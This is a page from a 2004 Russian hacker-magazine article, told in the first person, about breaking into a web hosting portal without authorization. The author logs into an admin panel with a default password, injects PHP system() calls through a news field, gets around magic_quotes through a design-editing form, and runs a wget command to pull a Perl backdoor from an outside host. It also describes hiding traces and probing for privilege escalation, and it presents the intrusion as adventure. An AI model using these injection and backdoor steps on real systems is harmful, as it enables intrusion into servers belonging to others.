Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #68, АВГУСТ 2004 г.

Штурм хостинга

Master-lame-master

Xakep, номер #068, стр. 068-046-2


Вообразив себя сетевым партизаном, я проверил главную страницу портала и обнаружил, что попал на хостинг. Руки невольно опустились - даже если пароль проканает, получить привилегии в системе будет трудным и бессмысленным делом. Однако что-то внутри подталкивало меня к решительным действиям.

Загрузив admin.php, я ввел стандартный пароль - и что ты думаешь? Ха! Эти лохи решили не менять его со стандартного «password»! Надо же: минуту назад я тупо браузил с виду защищенный движок, а теперь могу добавить собственную новость либо изменить параметры дизайна, сделав дефейс. Я попробовал на всякий случай работу скрипта (вдруг это всего лишь жестокий фэйк?!), добавив краткую новость. Она сразу появилась на главной странице, и, чтобы не привлекать к себе внимание, я ее тут же удалил. Чудно, все работает как часы. Нужно идти дальше... Что можно сделать? Файл с новостями просто инклудился в главную страницу, поэтому ничто не мешало мне наколбасить PHP-код в качестве нового сообщения. Первая команда выглядела так: >?system(id);?<.

Ура! Все работает! Вместо текста последней новости web-браузер показал права текущего пользователя - к несчастью, uid был ненулевым :). Теперь, когда я научился выполнять на сервере команды, надо было загрузить туда какой-нибудь простенький бэкдор - например, bd.pl.

Первые проблемы

Чтобы сделать это, надо было вызвать system() с параметром "wget host.ru/bd.pl -O /tmp/bd.pl". Именно в кавычках - без них программа не загрузится. После того как я написал верный код, символ кавычек был заэкранирован слэшем. Я подумал, что это случайность и на самом деле код не пострадал. Но скрипт никак не хотел выполнять команду (ничего удивительного: просто gpc_magic_quotes=on - прим. ред.). Сложные конструкции с обходом system() ни к чему не приводили. Это казалось странным, ведь id без кавычек выполнялся на ура...

Прошло полчаса. Я все еще пытался наколбасить хороший код, но все усилия были тщетны. Тесты на локальном хосте также не привели ни к чему хорошему. Я разочаровался до такой степени, что уже хотел построчно забивать бэкдор в файл :).

И тут меня озарило. Помимо добавления новости, администраторская панель снабжалась разделом изменения дизайна, а его я еще не щупал. Выбрав верхушку новостей, я увидел форму, похожую на поле для ввода новости. Однако кавычки уже не экранировались, это было естественно, ведь администратор мог вводить в этой форме html-текст. А чтобы он адекватно воспринимался, программистам пришлось ручками исправлять результат работы директивы magic_quotes. Запрос успешно выполнился, и бэкдор был загружен.

Думаю, не стоит напоминать команду для активизации bd.pl. Мы это уже проходили. Остановимся на моменте, когда я уже вошел в систему. Права были никудышными - обычный апачевый профиль. Uname -r тоже не сулил ничего хорошего - ответ показал, что на серваке стоял патч от grsecurity. Следовательно, все кернеловые эксплойты могли идти лесом. Смотри сам, все обстоятельства были не в мою пользу: пропатченное ядро, новая система, хостинговый сервер с бдящим админом. Но настоящие партизаны просто так не сдаются! :)

Назад на стр. 068-046-1  Содержание  Вперед на стр. 068-046-3